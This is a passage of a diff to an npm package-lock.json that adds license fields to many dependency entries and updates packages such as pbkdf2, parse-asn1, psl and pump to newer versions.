       "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
       "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-try": "^2.0.0"
       },
@@ -6611,6 +7333,7 @@
       "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
       "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-limit": "^2.0.0"
       },
@@ -6623,6 +7346,7 @@
       "resolved": "https://registry.npmjs.org/p-reduce/-/p-reduce-1.0.0.tgz",
       "integrity": "sha512-3Tx1T3oM1xO/Y8Gj0sWyE78EIJZ+t+aEmXUdvQgvGmSMri7aPTHoovbXEreWKkL5j21Er60XAWLTzKbAKYOujQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -6632,6 +7356,7 @@
       "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
       "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -6640,13 +7365,15 @@
       "version": "1.0.11",
       "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz",
       "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==",
-      "dev": true
+      "dev": true,
+      "license": "(MIT AND Zlib)"
     },
     "node_modules/parent-module": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz",
       "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "callsites": "^3.0.0"
       },
@@ -6659,21 +7386,27 @@
       "resolved": "https://registry.npmjs.org/parents/-/parents-1.0.1.tgz",
       "integrity": "sha512-mXKF3xkoUt5td2DoxpLmtOmZvko9VfFpwRwkKDHSNvgmpLAeBo18YDhcPbBzJq+QLCHMbGOfzia2cX4U+0v9Mg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "path-platform": "~0.11.15"
       }
     },
     "node_modules/parse-asn1": {
-      "version": "5.1.6",
-      "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.6.tgz",
-      "integrity": "sha512-RnZRo1EPU6JBnra2vGHj0yhp6ebyjBZpmUCLHWiFhxlzvBCCpAuZ7elsBp1PVAbQN0/04VD/19rfzlBSwLstMw==",
+      "version": "5.1.7",
+      "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.7.tgz",
+      "integrity": "sha512-CTM5kuWR3sx9IFamcl5ErfPl6ea/N8IYwiJ+vpeB2g+1iknv7zBl5uPwbMbRVznRVbrNY6lGuDoE5b30grmbqg==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
-        "asn1.js": "^5.2.0",
-        "browserify-aes": "^1.0.0",
-        "evp_bytestokey": "^1.0.0",
-        "pbkdf2": "^3.0.3",
-        "safe-buffer": "^5.1.1"
+        "asn1.js": "^4.10.1",
+        "browserify-aes": "^1.2.0",
+        "evp_bytestokey": "^1.0.3",
+        "hash-base": "~3.0",
+        "pbkdf2": "^3.1.2",
+        "safe-buffer": "^5.2.1"
+      },
+      "engines": {
+        "node": ">= 0.10"
       }
     },
     "node_modules/parse-json": {
@@ -6681,6 +7414,7 @@
       "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-4.0.0.tgz",
       "integrity": "sha512-aOIos8bujGN93/8Ox/jPLh7RwVnPEysynVFE+fQZyg6jKELEHwzgKdLRFHUgXJL6kylijVSBC4BvN9OmsB48Rw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "error-ex": "^1.3.1",
         "json-parse-better-errors": "^1.0.1"
@@ -6693,13 +7427,15 @@
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/parse5/-/parse5-4.0.0.tgz",
       "integrity": "sha512-VrZ7eOd3T1Fk4XWNXMgiGBK/z0MG48BWG2uQNU4I72fkQuKUTZpl+u9k+CxEG0twMVzSmXEEz12z5Fnw1jIQFA==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/pascalcase": {
       "version": "0.1.1",
       "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz",
       "integrity": "sha512-XHXfu/yOQRy9vYOtUDVMN60OEJjW013GoObG1o+xwQTpB9eYJX/BjXMsdW13ZDPruFhYYn0AG22w0xgQMwl3Nw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -6709,6 +7445,7 @@
       "resolved": "https://registry.npmjs.org/patch-text/-/patch-text-1.0.2.tgz",
       "integrity": "sha512-r1P+pfiTgWrsMOk/aW64RGv0oLjdyP0LeaLv2dF+iUfaVLqicXRi2dkjGYDgQ/kHVYm4z4GEHnx36Q6uqiFNlA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -6717,13 +7454,15 @@
       "version": "0.0.1",
       "resolved": "https://registry.npmjs.org/path-browserify/-/path-browserify-0.0.1.tgz",
       "integrity": "sha512-BapA40NHICOS+USX9SN4tyhq+A2RrN/Ws5F0Z5aMHDp98Fl86lX8Oti8B7uN93L4Ifv4fHOEA+pQw87gmMO/lQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/path-exists": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
       "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -6733,6 +7472,7 @@
       "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
       "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -6741,13 +7481,15 @@
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/path-is-inside/-/path-is-inside-1.0.2.tgz",
       "integrity": "sha512-DUWJr3+ULp4zXmol/SZkFf3JGsS9/SIv+Y3Rt93/UjPpDpklB5f1er4O3POIbUuUJ3FXgqte2Q7SrU6zAqwk8w==",
-      "dev": true
+      "dev": true,
+      "license": "(WTFPL OR MIT)"
     },
     "node_modules/path-key": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz",
       "integrity": "sha512-fEHGKCSmUSDPv4uoj8AlD+joPlq3peND+HRYyxFz4KPw4z926S/b8rIuFs2FYJg3BwsxJf6A9/3eIdLaYC+9Dw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -6755,13 +7497,15 @@
     "node_modules/path-parse": {
       "version": "1.0.7",
       "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
-      "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="
+      "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==",
+      "license": "MIT"
     },
     "node_modules/path-platform": {
       "version": "0.11.15",
       "resolved": "https://registry.npmjs.org/path-platform/-/path-platform-0.11.15.tgz",
       "integrity": "sha512-Y30dB6rab1A/nfEKsZxmr01nUotHX0c/ZiIAsCTatEe1CmS5Pm5He7fZ195bPT7RdquoaL8lLxFCMQi/bS7IJg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">= 0.8.0"
       }
@@ -6771,6 +7515,7 @@
       "resolved": "https://registry.npmjs.org/path-type/-/path-type-3.0.0.tgz",
       "integrity": "sha512-T2ZUsdZFHgA3u4e5PfPbjd7HDDpxPnQb5jN0SrDsjNSuVXHJqtwTnWqG0B1jZrgmJ/7lj1EmVIByWt1gxGkWvg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "pify": "^3.0.0"
       },
@@ -6783,43 +7528,83 @@
       "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz",
       "integrity": "sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
     },
     "node_modules/pbkdf2": {
-      "version": "3.1.2",
-      "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.1.2.tgz",
-      "integrity": "sha512-iuh7L6jA7JEGu2WxDwtQP1ddOpaJNC4KlDEFfdQajSGgGPNi4OyDc2R7QnbY2bR9QjBVGwgvTdNJZoE7RaxUMA==",
+      "version": "3.1.3",
+      "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.1.3.tgz",
+      "integrity": "sha512-wfRLBZ0feWRhCIkoMB6ete7czJcnNnqRpcoWQBLqatqXXmelSRqfdDK4F3u9T2s2cXas/hQJcryI/4lAL+XTlA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "create-hash": "^1.1.2",
-        "create-hmac": "^1.1.4",
-        "ripemd160": "^2.0.1",
-        "safe-buffer": "^5.0.1",
-        "sha.js": "^2.4.8"
+        "create-hash": "~1.1.3",
+        "create-hmac": "^1.1.7",
+        "ripemd160": "=2.0.1",
+        "safe-buffer": "^5.2.1",
+        "sha.js": "^2.4.11",
+        "to-buffer": "^1.2.0"
       },
       "engines": {
         "node": ">=0.12"
       }
     },
+    "node_modules/pbkdf2/node_modules/create-hash": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/create-hash/-/create-hash-1.1.3.tgz",
+      "integrity": "sha512-snRpch/kwQhcdlnZKYanNF1m0RDlrCdSKQaH87w1FCFPVPNCQ/Il9QJKAX2jVBZddRdaHBMC+zXa9Gw9tmkNUA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "cipher-base": "^1.0.1",
+        "inherits": "^2.0.1",
+        "ripemd160": "^2.0.0",
+        "sha.js": "^2.4.0"
+      }
+    },
+    "node_modules/pbkdf2/node_modules/hash-base": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-2.0.2.tgz",
+      "integrity": "sha512-0TROgQ1/SxE6KmxWSvXHvRj90/Xo1JvZShofnYF+f6ZsGtR4eES7WfrQzPalmyagfKZCXpVnitiRebZulWsbiw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "inherits": "^2.0.1"
+      }
+    },
+    "node_modules/pbkdf2/node_modules/ripemd160": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/ripemd160/-/ripemd160-2.0.1.tgz",
+      "integrity": "sha512-J7f4wutN8mdbV08MJnXibYpCOPHR+yzy+iQ/AsjMv2j8cLavQ8VGagDFUwwTAdF8FmRKVeNpbTTEwNHCW1g94w==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "hash-base": "^2.0.0",
+        "inherits": "^2.0.1"
+      }
+    },
     "node_modules/performance-now": {
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz",
       "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/picocolors": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz",
-      "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==",
-      "dev": true
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz",
+      "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==",
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/pify": {
       "version": "4.0.1",
       "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
       "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -6828,6 +7613,7 @@
       "version": "2.0.4",
       "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz",
       "integrity": "sha512-MnUuEycAemtSaeFSjXKW/aroV7akBbY+Sv+RkyqFjgAe73F+MR0TBWKBRDkmfWq/HiFmdavfZ1G7h4SPZXaCSg==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -6836,6 +7622,7 @@
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz",
       "integrity": "sha512-0Gni6D4UcLTbv9c57DfxDGdr41XfgUjqWZu492f0cIGr16zDU06BWP/RAEvOuo7CQ0CNjHaLlM59YJJFm3NWlw==",
+      "license": "MIT",
       "dependencies": {
         "pinkie": "^2.0.0"
       },
@@ -6844,10 +7631,11 @@
       }
     },
     "node_modules/pirates": {
-      "version": "4.0.6",
-      "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz",
-      "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==",
+      "version": "4.0.7",
+      "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.7.tgz",
+      "integrity": "sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">= 6"
       }
@@ -6857,6 +7645,7 @@
       "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz",
       "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "find-up": "^3.0.0"
       },
@@ -6868,17 +7657,29 @@
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/pn/-/pn-1.1.0.tgz",
       "integrity": "sha512-2qHaIQr2VLRFoxe2nASzsV6ef4yOOH+Fi9FBOVH6cqeSgUnoyySPZkxzLuzd+RYOQTRpROA0ztTMqxROKSb/nA==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/posix-character-classes": {
       "version": "0.1.1",
       "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz",
       "integrity": "sha512-xTgYBc3fuo7Yt7JbiuFxSYGToMoz8fLoE6TC9Wx1P/u+LfeThMOAqmuyECnlBaaJb+u1m9hHiXUEtwW4OzfUJg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
     },
+    "node_modules/possible-typed-array-names": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz",
+      "integrity": "sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
     "node_modules/prelude-ls": {
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz",
@@ -6893,6 +7694,7 @@
       "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-24.9.0.tgz",
       "integrity": "sha512-00ZMZUiHaJrNfk33guavqgvfJS30sLYf0f8+Srklv0AMPodGGHcoHgksZ3OThYnIvOd+8yMCn0YiEOogjlgsnA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^24.9.0",
         "ansi-regex": "^4.0.0",
@@ -6908,6 +7710,7 @@
       "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz",
       "integrity": "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">= 0.6.0"
       }
@@ -6916,13 +7719,15 @@
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
       "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/progress": {
       "version": "2.0.3",
       "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz",
       "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.4.0"
       }
@@ -6932,6 +7737,7 @@
       "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz",
       "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "kleur": "^3.0.3",
         "sisteransi": "^1.0.5"
@@ -6941,16 +7747,34 @@
       }
     },
     "node_modules/psl": {
-      "version": "1.9.0",
-      "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz",
-      "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==",
-      "dev": true
+      "version": "1.15.0",
+      "resolved": "https://registry.npmjs.org/psl/-/psl-1.15.0.tgz",
+      "integrity": "sha512-JZd3gMVBAVQkSs6HdNZo9Sdo0LNcQeMNP3CozBJb3JYC/QUYZTnKxP+f8oWRX4rHP5EurWxqAHTSwUCjlNKa1w==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "punycode": "^2.3.1"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/lupomontero"
+      }
+    },
+    "node_modules/psl/node_modules/punycode": {
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz",
+      "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=6"
+      }
     },
     "node_modules/public-encrypt": {
       "version": "4.0.3",
       "resolved": "https://registry.npmjs.org/public-encrypt/-/public-encrypt-4.0.3.tgz",
       "integrity": "sha512-zVpa8oKZSz5bTMTFClc1fQOnyyEzpl5ozpi1B5YcvBrdohMjH2rfsBtyXcuNuwjsDIXmBYlF2N5FlJYhR29t8Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "bn.js": "^4.1.0",
         "browserify-rsa": "^4.0.0",
@@ -6961,16 +7785,18 @@
       }
     },
     "node_modules/public-encrypt/node_modules/bn.js": {
-      "version": "4.12.0",
-      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz",
-      "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==",
-      "dev": true
+      "version": "4.12.2",
+      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.2.tgz",
+      "integrity": "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/pump": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz",
-      "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==",
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.3.tgz",
+      "integrity": "sha512-todwxLMY7/heScKmntwQG8CXVkWUOdYxIvY2s0VWAAMh/nd8SoYiRaKjlr7+iCs984f2P8zvrfWcDDYVb73NfA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "end-of-stream": "^1.1.0",
         "once": "^1.3.1"
@@ -6980,13 +7806,15 @@
       "version": "1.4.1",
       "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz",
       "integrity": "sha512-jmYNElW7yvO7TV33CjSmvSiE2yco3bV2czu/OzDKdMNVZQWfxCblURLhf+47syQRBntjfLdd/H0egrzIG+oaFQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/qs": {
       "version": "6.5.3",
       "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.3.tgz",
       "integrity": "sha512-qxXIEh4pCGfHICj1mAJQ2/2XVZkjCDTcEgfoSQxc/fYivUZxTkk7L3bDBJSoNrEzXI17oUO5Dp07ktqE5KzczA==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.6"
       }
@@ -7005,6 +7833,7 @@
       "resolved": "https://registry.npmjs.org/quote-stream/-/quote-stream-1.0.2.tgz",
       "integrity": "sha512-kKr2uQ2AokadPjvTyKJQad9xELbZwYzWlNfI3Uz2j/ib5u6H9lDP7fUUR//rMycd0gv4Z5P1qXMfXR8YpIxrjQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "buffer-equal": "0.0.1",
         "minimist": "^1.1.3",
@@ -7019,6 +7848,7 @@
       "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
       "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "safe-buffer": "^5.1.0"
       }
@@ -7028,6 +7858,7 @@
       "resolved": "https://registry.npmjs.org/randomfill/-/randomfill-1.0.4.tgz",
       "integrity": "sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "randombytes": "^2.0.5",
         "safe-buffer": "^5.1.0"
@@ -7037,13 +7868,15 @@
       "version": "16.13.1",
       "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz",
       "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/read-only-stream": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/read-only-stream/-/read-only-stream-2.0.0.tgz",
       "integrity": "sha512-3ALe0bjBVZtkdWKIcThYpQCLbBMd/+Tbh2CDSrAIDO3UsZ4Xs+tnyjv2MjCOMMgBG+AsUOeuP1cgtY1INISc8w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "readable-stream": "^2.0.2"
       }
@@ -7053,6 +7886,7 @@
       "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-3.0.0.tgz",
       "integrity": "sha512-BLq/cCO9two+lBgiTYNqD6GdtK8s4NpaWrl6/rCO9w0TUS8oJl7cmToOZfRYllKTISY6nt1U7jQ53brmKqY6BA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "load-json-file": "^4.0.0",
         "normalize-package-data": "^2.3.2",
@@ -7067,6 +7901,7 @@
       "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-4.0.0.tgz",
       "integrity": "sha512-6etQSH7nJGsK0RbG/2TeDzZFa8shjQ1um+SwQQ5cwKy0dhSXdOncEhb1CPpvQG4h7FyOV6EB6YlV0yJvZQNAkA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "find-up": "^3.0.0",
         "read-pkg": "^3.0.0"
@@ -7080,6 +7915,7 @@
       "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz",
       "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "core-util-is": "~1.0.0",
         "inherits": "~2.0.3",
@@ -7094,13 +7930,15 @@
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
       "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/readable-stream/node_modules/string_decoder": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
       "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "safe-buffer": "~5.1.0"
       }
@@ -7110,6 +7948,7 @@
       "resolved": "https://registry.npmjs.org/realpath-native/-/realpath-native-1.1.0.tgz",
       "integrity": "sha512-wlgPA6cCIIg9gKz0fgAPjnzh4yR/LnXovwuo9hvyGvx3h8nX4+/iLZplfUWasXpqD8BdnGnP5njOFjkUwPzvjA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "util.promisify": "^1.0.0"
       },
@@ -7117,11 +7956,35 @@
         "node": ">=4"
       }
     },
+    "node_modules/reflect.getprototypeof": {
+      "version": "1.0.10",
+      "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz",
+      "integrity": "sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "call-bind": "^1.0.8",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.9",
+        "es-errors": "^1.3.0",
+        "es-object-atoms": "^1.0.0",
+        "get-intrinsic": "^1.2.7",
+        "get-proto": "^1.0.1",
+        "which-builtin-type": "^1.2.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/regex-not": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz",
       "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "extend-shallow": "^3.0.2",
         "safe-regex": "^1.1.0"
@@ -7131,14 +7994,18 @@
       }
     },
     "node_modules/regexp.prototype.flags": {
-      "version": "1.5.0",
-      "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.0.tgz",
-      "integrity": "sha512-0SutC3pNudRKgquxGoRGIz946MZVHqbNfPjBdxeOhBrdgDKlRoXmYLQN9xRbrR09ZXWeGAdPuif7egofn6v5LA==",
+      "version": "1.5.4",
+      "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz",
